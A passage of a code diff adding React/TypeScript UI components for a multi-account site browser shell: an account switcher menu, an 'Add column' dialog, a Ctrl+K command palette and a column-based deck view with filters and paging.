requestAnimationFrame(() => menu.current?.querySelector<HTMLElement>(rowMenu.confirm ? '.bt-acct-confirm button' : '.bt-acct-sub button:not(:disabled)')?.focus());
} else if (lastRow.current) {
const id = lastRow.current;
lastRow.current = null;
requestAnimationFrame(() => menu.current?.querySelector<HTMLElement>(`.bt-acct-row[data-profile="${id}"] .bt-acct-main`)?.focus());
}
}, [rowMenu, open]);
function close(refocus = false) {
setOpen(false); setRowMenu(null); setError('');
if (refocus) button.current?.focus();
}
function toggle() {
const rect = button.current?.getBoundingClientRect();
if (rect) setAnchor({ top: Math.round(rect.bottom + 6), right: Math.max(8, Math.round(window.innerWidth - rect.right)) });
setRowMenu(null); setError('');
setOpen(value => !value);
}
async function run(action: () => Promise<unknown>) {
setError('');
try { await action(); return true; }
catch (failure) { setError(String(failure).replace(/^Error: /, '')); return false; }
}
/** The main click: focus or open beside; Shift/Ctrl (or "Open in new tab") forces a tab. */
function pick(profile: string, force = false) {
close();
shell.openAccount(profile, { force });
}
const onMainClick = (profile: string) => (event: ReactMouseEvent) => pick(profile, event.shiftKey || event.ctrlKey || event.metaKey);
function onMenuKey(event: ReactKeyboardEvent<HTMLDivElement>) {
const target = event.target as HTMLElement;
const inSub = !!target.closest('.bt-acct-sub, .bt-acct-confirm');
if (event.key === 'Escape') {
event.preventDefault(); event.stopPropagation();
if (rowMenu) setRowMenu(null); else close(true);
return;
}
if (event.key === 'Tab') { event.preventDefault(); close(true); return; }
const scope = inSub ? target.closest('.bt-acct-sub, .bt-acct-confirm')! : menu.current!;
const items = Array.from(scope.querySelectorAll<HTMLElement>(inSub ? 'button:not(:disabled)' : '.bt-acct-main, .bt-acct-add'));
if (['ArrowDown', 'ArrowUp', 'Home', 'End'].includes(event.key)) {
event.preventDefault();
items[moveFocus(items.indexOf(target), event.key, items.length)]?.focus();
return;
}
const row = target.closest<HTMLElement>('.bt-acct-row')?.dataset.profile;
if (!inSub && row && (event.key === 'ArrowRight' || event.key === 'ContextMenu' || (event.key === 'F10' && event.shiftKey))) {
event.preventDefault(); setRowMenu({ id: row }); return;
}
if (inSub && event.key === 'ArrowLeft') { event.preventDefault(); setRowMenu(null); return; }
// Keyboard Enter/Space clicks carry no modifiers: Shift/Ctrl+Enter forces a new tab here.
if (!inSub && row && event.key === 'Enter' && (event.shiftKey || event.ctrlKey || event.metaKey)) { event.preventDefault(); pick(row, true); }
}
const buttonLabel = t('wb.acct.buttonLabel', { name: accountName(focused) });
return <>
<button ref={button} className="bt-profile-switcher" aria-label={buttonLabel}
title={multi ? t('wb.acct.buttonTitle', { pane: accountName(focused), tabs: accountName(tabProfile(settings, settings.active)) }) : accountName(focused)}
aria-haspopup="menu" aria-expanded={open} onClick={toggle}>
<AccountAvatar profile={focused} size={22}/><span className="bt-profile-switcher-name">{focused.account ? handle(focused) : accountLabel(focused).title}</span>
<Icon name="chevron" className="bt-profile-switcher-chevron"/>
</button>
{open && createPortal(<div className="bt-menu-backdrop" onMouseDown={() => close()} onContextMenu={event => { event.preventDefault(); close(); }}>
<div ref={menu} className="bt-menu bt-acct-menu bt-pop bt-pop--right" role="menu" aria-label={t('wb.acct.title')} style={{ top: anchor.top, right: anchor.right }}
onMouseDown={event => event.stopPropagation()} onKeyDown={onMenuKey}>
<div className="bt-acct-head" role="presentation">
<strong>{t('wb.acct.title')}</strong>
<span>{t('wb.acct.headBefore')} <kbd className="bt-kbd">{t('wb.acct.shift')}</kbd> {t('wb.acct.headAfter')}</span>
</div>
{settings.profiles.map(profile => {
const label = accountLabel(profile);
const count = tabs.get(profile.id)?.length ?? 0;
const isFocused = profile.id === focused.id;
const isDefault = profile.id === settings.active;
const action = accountAction(settings, panes, activeId, profile.id, { homeUrl, loginUrl, isSiteUrl });
const hint = action.type === 'focus' ? (action.paneId === activeId ? t('wb.acct.thisPane') : t('wb.acct.goToPane')) : label.state === 'signed-in' ? t('wb.acct.openBeside') : t('wb.acct.signInBeside');
const status = label.state === 'signed-in' ? handle(profile) : label.state === 'signed-out' ? t('wb.acct.signedOut', { handle: handle(profile) }) : label.detail;
const sub = rowMenu?.id === profile.id ? rowMenu : null;
return <div key={profile.id} className={`bt-acct-row${isFocused ? ' is-focused' : ''}${sub ? ' is-open' : ''}`} data-profile={profile.id} role="none"
onContextMenu={event => { event.preventDefault(); event.stopPropagation(); setRowMenu({ id: profile.id }); }}>
<div className="bt-acct-line">
<button role="menuitem" className="bt-acct-main" aria-current={isFocused ? 'true' : undefined}
aria-label={label.state === 'signed-in' ? t('wb.acct.rowLabel', { name: accountName(profile), hint }) : label.state === 'new' ? t('wb.acct.rowLabelNew', { name: accountName(profile), hint }) : t('wb.acct.rowLabelOut', { name: accountName(profile), hint })}
onClick={onMainClick(profile.id)}>
<span className={`bt-acct-avatar is-${label.state}`}><AccountAvatar profile={profile} size={32}/></span>
<span className="bt-acct-text">
<span className="bt-acct-name">{label.title}{isDefault && multi && <span className="bt-acct-badge" title={t('wb.acct.newTabsTitle')}>{t('wb.acct.newTabs')}</span>}</span>
<span className={`bt-acct-meta is-${label.state}`}>{status}{count > 0 && <span className="bt-acct-count"> · {t('wb.ws.tabs', { count })}</span>}</span>
</span>
<span className="bt-acct-hint" aria-hidden="true">{hint}{action.type === 'open' && <Icon name="split"/>}</span>
</button>
<button className="bt-acct-more" tabIndex={-1} aria-haspopup="menu" aria-expanded={!!sub} aria-label={t('wb.acct.moreFor', { name: accountName(profile) })} title={t('wb.acct.more')}
onClick={() => setRowMenu(sub ? null : { id: profile.id })}>
<svg viewBox="0 0 24 24" aria-hidden="true"><circle cx="6" cy="12" r="1.6"/><circle cx="12" cy="12" r="1.6"/><circle cx="18" cy="12" r="1.6"/></svg>
</button>
</div>
{sub && !sub.confirm && <div className="bt-acct-sub" role="menu" aria-label={t('wb.acct.actions', { name: accountName(profile) })}>
<button role="menuitem" data-action="tab" onClick={() => pick(profile.id, true)}>
<Icon name="plus"/><span className="bt-menu-label">{t('wb.acct.openNewTab')}</span><span className="bt-menu-keys">{t('wb.acct.shiftClick')}</span></button>
<button role="menuitemcheckbox" aria-checked={isDefault} data-action="default" disabled={isDefault}
onClick={() => void run(() => saveProfiles(setDefaultAccount(settings, profile.id))).then(ok => ok && setRowMenu(null))}>
<Icon name={isDefault ? 'check' : 'sparkle'}/><span className="bt-menu-label">{isDefault ? t('wb.acct.newTabsOpenHere') : t('wb.acct.useForNewTabs')}</span></button>
{label.state === 'signed-in'
? <button role="menuitem" data-action="signout" title={t('wb.acct.signOutTitle', { site: siteName })} onClick={() => { close(); shell.openAccount(profile.id, { url: logoutUrl }); }}>
<Icon name="external"/><span className="bt-menu-label">{t('wb.acct.signOut', { site: siteName })}</span></button>
: <button role="menuitem" data-action="signin" onClick={() => { close(); signIn(profile.id); }}>
<Icon name="user"/><span className="bt-menu-label">{t('wb.acct.signIn', { site: siteName })}</span></button>}
{profile.id !== DEFAULT_PROFILE && <button role="menuitem" data-action="remove" className="bt-acct-danger" onClick={() => setRowMenu({ id: profile.id, confirm: true })}>
<Icon name="trash"/><span className="bt-menu-label">{t('wb.acct.remove')}</span></button>}
</div>}
{sub?.confirm && <div className="bt-acct-confirm" role="alertdialog" aria-label={t('wb.common.removeItem', { item: label.title })}>
<span>{t('wb.acct.removeConfirm', { name: accountName(profile), tabs: count })}</span>
<div>
<button className="bt-acct-remove" onClick={() => void run(() => removeAccount(settings, profile.id)).then(ok => ok && setRowMenu(null))}>{t('wb.common.remove')}</button>
<button className="bt-acct-cancel" onClick={() => setRowMenu(null)}>{t('wb.common.cancel')}</button>
</div>
</div>}
</div>;
})}
<hr/>
<button role="menuitem" className="bt-acct-add" onClick={() => void run(() => addAccount(settings)).then(ok => ok && close())}>
<span className="bt-acct-add-icon"><Icon name="plus"/></span>
<span className="bt-acct-text"><span className="bt-acct-name">{t('wb.acct.add')}</span><span className="bt-acct-meta">{t('wb.acct.addHint', { site: siteName })}</span></span>
</button>
{error && <div className="bt-acct-error" role="alert">{error}</div>}
</div>
</div>, document.body)}
</>;
}

View file

@ -0,0 +1,118 @@
// "Add column": pick what the column shows (the site's column kinds: `site.deck.kinds`), which
// account it runs in and, for kinds that take one, the value. The shell rises above the tab
// webviews (or hides them) while it is open, so it draws above them.
import { useEffect, useRef, useState, type KeyboardEvent as ReactKeyboardEvent } from 'react';
import { createPortal } from 'react-dom';
import { tabProfile } from '../profileModel.ts';
import { AccountAvatar, accountLabel } from './AccountSwitcher.tsx';
import { decks, type Deck, type DeckColumn } from './deckStore.ts';
import { useProfiles, useT } from './hooks.ts';
import { Icon } from './icons.tsx';
import { site, type DeckSite } from './site.ts';
import { setOverlay } from './state.ts';
type Input = Pick<DeckColumn, 'profile' | 'source'>;
export function AddColumnDialog({ deck, onClose, onAdd }: { deck: Deck; onClose(): void; onAdd(input: Input): void }) {
const t = useT();
const profiles = useProfiles();
const spec = site().deck as DeckSite;
const types = spec.kinds;
const focused = deck.columns.find(c => c.id === decks.focus.get(deck.id));
const [kind, setKind] = useState<string>(types[0]?.kind ?? '');
const [profile, setProfile] = useState(tabProfile(profiles, focused?.profile ?? profiles.active).id);
const [value, setValue] = useState('');
const [caret, setCaret] = useState(0);
const field = useRef<HTMLInputElement>(null);
const dialog = useRef<HTMLDivElement>(null);
const type = types.find(item => item.kind === kind)!;
const parsed = type.value ? spec.parseValue(kind, value) : '';
const valid = parsed !== null && (!type.value || parsed !== '') && !!spec.urlFor({ kind, ...(parsed ? { value: parsed } : {}) });
const completer = spec.completer?.(kind) ?? null;
const chips = completer ? completer.suggest(value, caret, 6) : [];
const handlePrefix = site().accounts.handlePrefix;
useEffect(() => {
setOverlay(1);
const onBlur = () => onClose();
window.addEventListener('blur', onBlur);
(dialog.current?.querySelector('[aria-checked="true"]') as HTMLElement | null)?.focus();
return () => { setOverlay(-1); window.removeEventListener('blur', onBlur); };
}, []);
useEffect(() => { if (type.value) requestAnimationFrame(() => field.current?.focus()); }, [kind]);
const submit = () => {
if (!valid) { field.current?.focus(); return; }
onAdd({ profile, source: parsed ? { kind, value: parsed } : { kind } });
};
const onKey = (event: ReactKeyboardEvent) => {
if (event.key === 'Escape') { event.preventDefault(); onClose(); }
else if (event.key === 'Enter' && !(event.target as HTMLElement).matches('button')) { event.preventDefault(); submit(); }
else if (['ArrowRight', 'ArrowLeft', 'ArrowDown', 'ArrowUp'].includes(event.key) && (event.target as HTMLElement).getAttribute('role') === 'radio'
&& (event.target as HTMLElement).closest('.bt-addcol-types')) {
event.preventDefault();
const index = types.findIndex(item => item.kind === kind);
const step = event.key === 'ArrowRight' ? 1 : event.key === 'ArrowLeft' ? -1 : event.key === 'ArrowDown' ? 4 : -4;
const next = types[(index + step + types.length) % types.length]!;
setKind(next.kind);
requestAnimationFrame(() => (dialog.current?.querySelector(`[data-kind="${next.kind}"]`) as HTMLElement | null)?.focus());
}
};
const acceptChip = (insert: string) => {
if (!completer) return;
const next = completer.apply(value, caret, insert);
setValue(next.text);
setCaret(next.caret);
requestAnimationFrame(() => { field.current?.focus(); field.current?.setSelectionRange(next.caret, next.caret); });
};
return createPortal(<div className="bt-palette-backdrop bt-addcol-backdrop" onMouseDown={onClose}>
<div ref={dialog} className="bt-palette bt-addcol bt-pop" role="dialog" aria-modal="true" aria-labelledby="bt-addcol-title" onMouseDown={event => event.stopPropagation()} onKeyDown={onKey}>
<header className="bt-addcol-head">
<h2 id="bt-addcol-title">{t('wb.deck.addColumn')}</h2>
<span>{t('wb.addcol.to', { deck: deck.name })}</span>
<button className="bt-icon" aria-label={t('wb.common.close')} onClick={onClose}><Icon name="close"/></button>
</header>
<div className="bt-addcol-types" role="radiogroup" aria-label={t('wb.addcol.type')}>
{types.map(item => <button key={item.kind} data-kind={item.kind} role="radio" aria-checked={item.kind === kind} tabIndex={item.kind === kind ? 0 : -1}
className={`bt-addcol-type${item.kind === kind ? ' is-on' : ''}`} onClick={() => setKind(item.kind)} onDoubleClick={() => { if (!item.value) onAdd({ profile, source: { kind: item.kind } }); }}>
<span className="bt-addcol-icon"><Icon name={item.icon}/></span>
<strong>{item.label}</strong>
<small>{item.hint}</small>
</button>)}
</div>
{type.value && <div className="bt-addcol-value">
<label htmlFor="bt-addcol-field">{type.value.label}</label>
<div className={`bt-addcol-field${value && parsed === null ? ' is-bad' : ''}`}>
<Icon name={type.icon}/>
<input id="bt-addcol-field" ref={field} spellCheck={false} autoComplete="off" placeholder={type.value.placeholder} value={value}
onChange={event => { setValue(event.target.value); setCaret(event.target.selectionStart ?? event.target.value.length); }}
onSelect={() => setCaret(field.current?.selectionStart ?? value.length)}
onKeyDown={event => { if (event.key === 'Tab' && !event.shiftKey && chips[0]) { event.preventDefault(); acceptChip(chips[0].insert); } }}/>
</div>
{chips.length > 0 && <div className="bt-addcol-chips" role="listbox" aria-label={completer?.label()}>
{chips.map((chip, index) => <button key={chip.insert} type="button" role="option" aria-selected={index === 0} title={`${chip.hint}${index === 0 ? ` (${t('wb.web.tabKey')})` : ''}`}
onMouseDown={event => event.preventDefault()} onClick={() => acceptChip(chip.insert)}>{chip.label}</button>)}
</div>}
{value && parsed === null && <p className="bt-addcol-error" role="alert">{spec.invalid(kind)}</p>}
</div>}
<div className="bt-addcol-accounts">
<span className="bt-addcol-label">{t('wb.addcol.account')}</span>
<div role="radiogroup" aria-label={t('wb.addcol.account')}>
{profiles.profiles.map(p => <button key={p.id} role="radio" aria-checked={p.id === profile} className={`bt-addcol-account${p.id === profile ? ' is-on' : ''}`} onClick={() => setProfile(p.id)}
style={{ ['--bt-col-account' as string]: p.color }}>
<AccountAvatar profile={p} size={22}/><span>{p.account ? `${handlePrefix}${p.account.handle}` : accountLabel(p).title}</span>
{p.account && !p.account.signedIn && <em>{t('wb.addcol.signedOut')}</em>}
</button>)}
</div>
</div>
<footer className="bt-addcol-foot">
<span><span className="bt-kbd">↵</span> {t('wb.addcol.add')}</span><span><span className="bt-kbd">Esc</span> {t('wb.addcol.close')}</span>
<span className="bt-palette-foot-end"/>
<button className="bt-deck-secondary" onClick={onClose}>{t('wb.common.cancel')}</button>
<button className="bt-deck-primary" disabled={!valid} onClick={submit}><Icon name="plus"/>{t('wb.addcol.submit')}</button>
</footer>
</div>
</div>, document.body);
}

View file

@ -0,0 +1,116 @@
import { useEffect, useMemo, useRef, useState, type KeyboardEvent as ReactKeyboardEvent, type ReactNode } from 'react';
import { createPortal } from 'react-dom';
import { useT } from './hooks.ts';
import { t } from './i18n.ts';
import { Avatar, Icon } from './icons.tsx';
import { buildItems, moveSelection, type PaletteAction, type PaletteContext, type PaletteItem } from './paletteModel.ts';
import { hasFeature, site } from './site.ts';
import { setOverlay } from './state.ts';
/** Leading visual for a palette row: the tab's favicon, the account avatar or the item's glyph. */
function leading(item: PaletteItem, context: PaletteContext): ReactNode {
const [kind, ...rest] = item.id.split(':');
const key = rest.join(':');
if (kind === 'tab') {
const favicon = context.tabs.find(tab => `tab:${tab.id}` === item.id)?.favicon;
return favicon ? <img src={favicon} alt="" width={16} height={16}/> : <Icon name="globe"/>;
}
if (kind === 'profile') {
const profile = context.profiles.find(p => p.id === key);
return <Avatar name={profile?.name ?? '?'} color={profile?.color ?? '#8a90a6'} size={20}/>;
}
if (item.icon) return <Icon name={item.icon}/>;
if (kind === 'deck' || kind === 'deck-new') return <Icon name="grid"/>;
if (kind === 'deck-add') return <Icon name="plus"/>;
if (kind === 'deck-focus') return <Icon name="list"/>;
if (kind === 'ws') return <Icon name="grid"/>;
if (kind === 'ws-save') return <Icon name="plus"/>;
return <Icon name="search"/>;
}
const shortHint = (hint: string) => hint.replace(/^https?:\/\/(www\.)?/, '');
/** The frame's group names are translated; the site names its own groups; plugin groups are the plugins' names. */
const GROUPS: Record<string, string> = {
Tabs: 'wb.palette.group.tabs', Deck: 'wb.palette.group.deck', Workspaces: 'wb.palette.group.workspaces', Profiles: 'wb.palette.group.profiles',
};
const groupLabel = (group: string) => (GROUPS[group] ? t(GROUPS[group]!) : site().palette.groupLabel?.(group) ?? group);
/** Ctrl+K palette. The shell rises above the tab webviews (or hides them) while it is open. */
export function CommandPalette({ context, onRun, onClose }: { context: PaletteContext; onRun: (action: PaletteAction) => void; onClose: () => void }) {
const [query, setQuery] = useState('');
const [selected, setSelected] = useState(0);
const input = useRef<HTMLInputElement>(null);
const list = useRef<HTMLDivElement>(null);
const items = useMemo(() => {
const { palette, product, deck, media } = site();
return buildItems(context, query, { site: palette, product, decks: !!deck, media: !!media, workspaces: hasFeature('workspaces') });
}, [context, query]);
useEffect(() => {
setOverlay(1);
input.current?.focus();
const close = () => onClose();
window.addEventListener('blur', close);
return () => { setOverlay(-1); window.removeEventListener('blur', close); };
}, []);
useEffect(() => setSelected(0), [query]);
useEffect(() => { list.current?.querySelector('[aria-selected="true"]')?.scrollIntoView({ block: 'nearest' }); }, [selected]);
const run = (index: number) => {
const item = items[index];
if (!item) return;
if (item.action.type === 'complete') { setQuery(item.action.text); input.current?.focus(); return; }
onClose();
onRun(item.action);
};
const onKeyDown = (event: ReactKeyboardEvent) => {
if (event.nativeEvent.isComposing) return;
// Ctrl+K again closes, like the shortcut that opened it.
if ((event.ctrlKey || event.metaKey) && !event.altKey && !event.shiftKey && event.key.toLowerCase() === 'k') { event.preventDefault(); event.stopPropagation(); onClose(); return; }
if (event.key === 'ArrowDown' || (event.key === 'Tab' && !event.shiftKey)) { event.preventDefault(); setSelected(i => moveSelection(i, 1, items.length)); }
else if (event.key === 'ArrowUp' || (event.key === 'Tab' && event.shiftKey)) { event.preventDefault(); setSelected(i => moveSelection(i, -1, items.length)); }
else if (event.key === 'Home' && event.ctrlKey) { event.preventDefault(); setSelected(0); }
else if (event.key === 'End' && event.ctrlKey) { event.preventDefault(); setSelected(Math.max(0, items.length - 1)); }
else if (event.key === 'Enter') { event.preventDefault(); run(selected); }
else if (event.key === 'Escape') { event.preventDefault(); onClose(); }
event.stopPropagation();
};
const tr = useT();
let lastGroup = '';
return createPortal(<div className="bt-palette-backdrop" onMouseDown={onClose}>
<div className="bt-palette bt-pop" role="dialog" aria-label={tr('wb.palette.title')} onMouseDown={event => event.stopPropagation()} onKeyDown={onKeyDown}>
<div className="bt-palette-field">
<Icon name="search"/>
<input ref={input} className="bt-palette-input" placeholder={site().palette.placeholder()} value={query}
onChange={event => setQuery(event.target.value)} role="combobox" aria-expanded="true" aria-controls="bt-palette-list"
aria-activedescendant={items[selected] ? `bt-pal-${selected}` : undefined} spellCheck={false}/>
<kbd className="bt-kbd">Esc</kbd>
</div>
<div className="bt-palette-list" id="bt-palette-list" role="listbox" ref={list}>
{items.length === 0 && <div className="bt-palette-empty">{tr('wb.palette.none')}</div>}
{items.map((item, index) => {
const heading = item.group !== lastGroup ? item.group : null;
lastGroup = item.group;
return <div key={item.id}>
{heading && <div className="bt-palette-group">{groupLabel(heading)}</div>}
<div id={`bt-pal-${index}`} role="option" aria-selected={index === selected} className="bt-palette-item"
onMouseMove={() => { if (selected !== index) setSelected(index); }} onClick={() => run(index)}>
<span className="bt-palette-icon">{leading(item, context)}</span>
<span className="bt-palette-label">{item.label}</span>
{item.hint && <span className={`bt-palette-hint ${item.hint === tr('wb.palette.active') ? 'bt-palette-hint--tag' : ''}`}>{shortHint(item.hint)}</span>}
<span className="bt-palette-enter" aria-hidden="true">↵</span>
</div>
</div>;
})}
</div>
<div className="bt-palette-foot">
<span><kbd className="bt-kbd">↑</kbd><kbd className="bt-kbd">↓</kbd> {tr('wb.palette.navigate')}</span>
<span><kbd className="bt-kbd">↵</kbd> {tr('wb.common.open')}</span>
<span><kbd className="bt-kbd">{tr('wb.web.tabKey')}</kbd> {tr('wb.palette.next')}</span>
<span className="bt-palette-foot-end"><kbd className="bt-kbd">Ctrl</kbd><kbd className="bt-kbd">K</kbd> {tr('wb.common.close')}</span>
</div>
</div>
</div>, document.body);
}

View file

@ -0,0 +1,373 @@
// Decks: site columns side by side in one shell tab (dockview component `deck`). The shell draws
// the deck bar and a header per column; each column's body is a placeholder that a real site tab
// webview (its own account profile) covers, laid out by state.ts. Paging, not pixel scrolling: a
// page holds as many whole columns as fit; the others are parked off-page. Every request and every
// action in a column is the site's own; the shell only navigates, focuses and configures columns
// (native `column_configure`). The kinds of columns are the site's (`site.deck`).
import type { IDockviewPanelProps } from 'dockview';
import { useEffect, useLayoutEffect, useRef, useState, type CSSProperties, type MouseEvent as ReactMouseEvent, type ReactNode } from 'react';
import { createPortal } from 'react-dom';
import { COLUMN_GAP, COLUMN_WIDTHS, isSourcePage, layoutColumns, pageOf, unreadTotal } from '../deckModel.ts';
import { tabProfile } from '../profileModel.ts';
import { AccountAvatar, accountName } from './AccountSwitcher.tsx';
import { AddColumnDialog } from './AddColumnDialog.tsx';
import { invoke } from './bridge.ts';
import {
addColumn, bump, columnSourceUrl, configureColumn, deckById, decks, patchColumn, removeColumn, shiftColumn,
type Deck, type DeckColumn,
} from './deckStore.ts';
import { useDecks, useProfiles, useT } from './hooks.ts';
import { Icon, type IconName } from './icons.tsx';
import { site } from './site.ts';
import { scheduleSync, setOverlay, shell, tabAction, type DeckParams } from './state.ts';
import { useTabStill } from './tabStill.ts';
import './deck.css';
const emitDecks = () => window.dispatchEvent(new CustomEvent('bt-decks'));
const unreadLabel = (count: number) => (count > 999 ? '999+' : String(count));
const deckSite = () => site().deck!;
/** Width of the columns row minus an open compose dock. */
function columnsWidth(total: number, deckId: string) {
const compose = deckSite().compose;
return compose && decks.compose.has(deckId) ? Math.max(0, total - compose.width - COLUMN_GAP) : total;
}
// ---------------------------------------------------------------------------------------------
// Deck commands (keys, palette, column menus)
export type DeckCommand =
| 'column-prev' | 'column-next' | 'column-page-prev' | 'column-page-next' | 'column-mark-read' | 'column-jump-unread' | 'deck-compose'
| `column-${1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9}`;
/** The row width each deck was last laid out at (for paging from keys). */
const rowWidths = new Map<string, number>();
/** Focuses a column: it becomes the deck's focused column, its page is shown and its webview gets the keys. */
export function focusColumn(deckId: string, columnId: string, giveKeys = true) {
const deck = deckById(deckId);
const column = deck?.columns.find(c => c.id === columnId);
if (!deck || !column) return;
decks.focus.set(deckId, columnId);
const width = columnsWidth(rowWidths.get(deckId) ?? window.innerWidth, deckId);
decks.page.set(deckId, pageOf(width, deck.columns, columnId, { maxVisible: decks.settings.maxVisible }, decks.page.get(deckId)));
emitDecks();
scheduleSync();
if (giveKeys) requestAnimationFrame(() => tabAction(column.tabId, 'focus'));
}
export function runDeckCommand(deckId: string, command: string) {
const deck = deckById(deckId);
if (!deck) return;
const focused = deck.columns.find(c => c.id === decks.focus.get(deckId)) ?? deck.columns[0];
const index = focused ? deck.columns.indexOf(focused) : -1;
const digit = /^column-([1-9])$/.exec(command);
if (digit) { const target = deck.columns[Number(digit[1]) - 1]; if (target) focusColumn(deckId, target.id); return; }
switch (command) {
case 'column-prev': case 'column-next': {
const target = deck.columns[Math.min(deck.columns.length - 1, Math.max(0, index + (command === 'column-next' ? 1 : -1)))];
if (target) focusColumn(deckId, target.id);
break;
}
case 'column-page-prev': case 'column-page-next': {
const width = columnsWidth(rowWidths.get(deckId) ?? window.innerWidth, deckId);
const layout = layoutColumns(width, deck.columns, (decks.page.get(deckId) ?? 0) + (command === 'column-page-next' ? 1 : -1), { maxVisible: decks.settings.maxVisible });
decks.page.set(deckId, layout.page);
const first = layout.visible[0];
if (first) decks.focus.set(deckId, first.id);
emitDecks();
scheduleSync();
break;
}
case 'column-mark-read': if (focused) bump(focused, 'read'); break;
case 'column-jump-unread': if (focused) bump(focused, 'jump'); break;
case 'deck-compose': toggleCompose(deckId, focused?.profile); break;
}
}
export function toggleCompose(deckId: string, profile?: string) {
if (!deckSite().compose) return;
if (decks.compose.has(deckId)) decks.compose.delete(deckId);
else decks.compose.set(deckId, { profile: tabProfile(shell.profiles, profile ?? shell.profiles.active).id });
emitDecks();
scheduleSync();
}
// ---------------------------------------------------------------------------------------------
// Popovers (the shell rises above the tab webviews, or hides them, while one is open)
function Popover({ anchor, onClose, children, width = 260, label }: { anchor: DOMRect; onClose(): void; children: ReactNode; width?: number; label: string }) {
useEffect(() => {
setOverlay(1);
const onKey = (event: KeyboardEvent) => { if (event.key === 'Escape') { event.stopPropagation(); onClose(); } };
window.addEventListener('keydown', onKey, true);
window.addEventListener('blur', onClose);
return () => { setOverlay(-1); window.removeEventListener('keydown', onKey, true); window.removeEventListener('blur', onClose); };
}, []);
const left = Math.max(8, Math.min(anchor.right - width, window.innerWidth - width - 8));
const style: CSSProperties = { top: anchor.bottom + 6, left, width };
return createPortal(<div className="bt-menu-backdrop" onMouseDown={onClose} onContextMenu={event => { event.preventDefault(); onClose(); }}>
<div className="bt-menu bt-deck-pop bt-pop bt-pop--right" role="dialog" aria-label={label} style={style} onMouseDown={event => event.stopPropagation()}>{children}</div>
</div>, document.body);
}
function FilterPopover({ deckId, column, anchor, onClose }: { deckId: string; column: DeckColumn; anchor: DOMRect; onClose(): void }) {
const tr = useT();
const [text, setText] = useState('');
const input = useRef<HTMLInputElement>(null);
useEffect(() => { input.current?.focus(); }, []);
const filters = column.filters;
const set = (patch: Partial<DeckColumn['filters']>) => patchColumn(deckId, column.id, { filters: { ...filters, ...patch } });
const add = () => {
const terms = text.split(/\n|,(?![^/]*\/[a-z]*$)/).map(t => t.trim()).filter(Boolean).filter(t => t.length <= 200);
if (!terms.length) return;
set({ terms: [...filters.terms, ...terms.filter(t => !filters.terms.includes(t))].slice(0, 32) });
setText('');
};
const toggle = (key: 'hideReplies' | 'hideReposts' | 'mediaOnly', label: string, hint: string) =>
<label className="bt-deck-check"><input type="checkbox" checked={filters[key]} onChange={event => set({ [key]: event.target.checked })}/>
<span className="bt-deck-check-box" aria-hidden="true"><Icon name="check"/></span><span className="bt-deck-check-text"><strong>{label}</strong><small>{hint}</small></span></label>;
return <Popover anchor={anchor} onClose={onClose} width={300} label={tr('wb.deck.filters.label')}>
<div className="bt-deck-pop-head"><Icon name="filter"/><strong>{tr('wb.deck.filters')}</strong><span>{deckSite().title(column.source, column.title).title}</span></div>
<div className="bt-deck-terms">
<input ref={input} className="bt-deck-input" spellCheck={false} placeholder={tr('wb.deck.mutePlaceholder')} aria-label={tr('wb.deck.muteLabel')} value={text}
onChange={event => setText(event.target.value)} onKeyDown={event => { if (event.key === 'Enter') { event.preventDefault(); add(); } }}/>
{filters.terms.length > 0 && <div className="bt-deck-chips">
{filters.terms.map(term => <span key={term} className={`bt-deck-chip ${/^\/.+\/[imsu]*$/.test(term) ? 'is-regex' : ''}`}>
<span>{term}</span><button type="button" aria-label={tr('wb.common.removeItem', { item: term })} onClick={() => set({ terms: filters.terms.filter(t => t !== term) })}><Icon name="close"/></button></span>)}
</div>}
</div>
<hr/>
{toggle('hideReplies', tr('wb.deck.hideReplies'), tr('wb.deck.hideRepliesHint'))}
{toggle('hideReposts', tr('wb.deck.hideReposts'), tr('wb.deck.hideRepostsHint'))}
{toggle('mediaOnly', tr('wb.deck.mediaOnly'), tr('wb.deck.mediaOnlyHint'))}
</Popover>;
}
function ColumnMenu({ deck, column, anchor, onClose, onRemove }: { deck: Deck; column: DeckColumn; anchor: DOMRect; onClose(): void; onRemove(): void }) {
const tr = useT();
const index = deck.columns.indexOf(column);
const item = (label: string, icon: IconName, action: () => void, disabled = false, keys?: string) =>
<button role="menuitem" disabled={disabled} onClick={() => { onClose(); action(); }}>
<Icon name={icon}/><span className="bt-menu-label">{label}</span>{keys && <span className="bt-menu-keys">{keys}</span>}</button>;
const url = decks.runtime.get(column.tabId)?.url ?? columnSourceUrl(column.source) ?? '';
return <Popover anchor={anchor} onClose={onClose} width={236} label={tr('wb.deck.menu')}>
{item(tr('wb.deck.markRead'), 'check', () => bump(column, 'read'), false, 'Alt R')}
{item(tr('wb.deck.jumpUnread'), 'history', () => bump(column, 'jump'), false, 'Alt U')}
<hr/>
{item(tr('wb.deck.moveLeft'), 'back', () => shiftColumn(deck.id, column.id, -1), index <= 0)}
{item(tr('wb.deck.moveRight'), 'forward', () => shiftColumn(deck.id, column.id, 1), index >= deck.columns.length - 1)}
<div className="bt-deck-widths" role="group" aria-label={tr('wb.deck.widthLabel')}>
<span>{tr('wb.deck.width')}</span>
{COLUMN_WIDTHS.map(width => <button key={width} type="button" aria-pressed={column.width === width} className={column.width === width ? 'is-on' : ''}
onClick={() => { patchColumn(deck.id, column.id, { width }); scheduleSync(); }}>{width}</button>)}
</div>
<hr/>
{item(tr('wb.shell.menu.duplicate'), 'duplicate', () => addColumn(deck.id, { profile: column.profile, source: column.source, filters: column.filters, flags: column.flags, width: column.width }, column.id))}
{item(tr('wb.deck.openAsTab'), 'external', () => shell.openUrl(url, column.profile), !url)}
<hr/>
{item(tr('wb.deck.remove'), 'trash', onRemove)}
</Popover>;
}
// ---------------------------------------------------------------------------------------------
// One column: header strip + the placeholder its webview covers
function ColumnView({ deck, column, x, width, focused, number }: { deck: Deck; column: DeckColumn; x: number; width: number; focused: boolean; number: number }) {
const tr = useT();
const profiles = useProfiles();
const body = useRef<HTMLDivElement>(null);
const still = useTabStill(column.tabId);
const [menu, setMenu] = useState<null | { kind: 'filters' | 'menu'; anchor: DOMRect }>(null);
const [leaving, setLeaving] = useState(false);
const spec = deckSite();
const runtime = decks.runtime.get(column.tabId);
const account = tabProfile(profiles, column.profile);
const type = spec.kinds.find(kind => kind.kind === column.source.kind);
const { title, detail } = spec.title(column.source, column.title);
const source = columnSourceUrl(column.source);
const away = !!(runtime?.url && source && !isSourcePage(runtime.url, source));
const unread = runtime?.unread ?? 0;
const filtered = column.filters.terms.length > 0 || column.filters.hideReplies || column.filters.hideReposts || column.filters.mediaOnly;
const pageTitle = spec.pageTitle ?? ((text: string) => text);
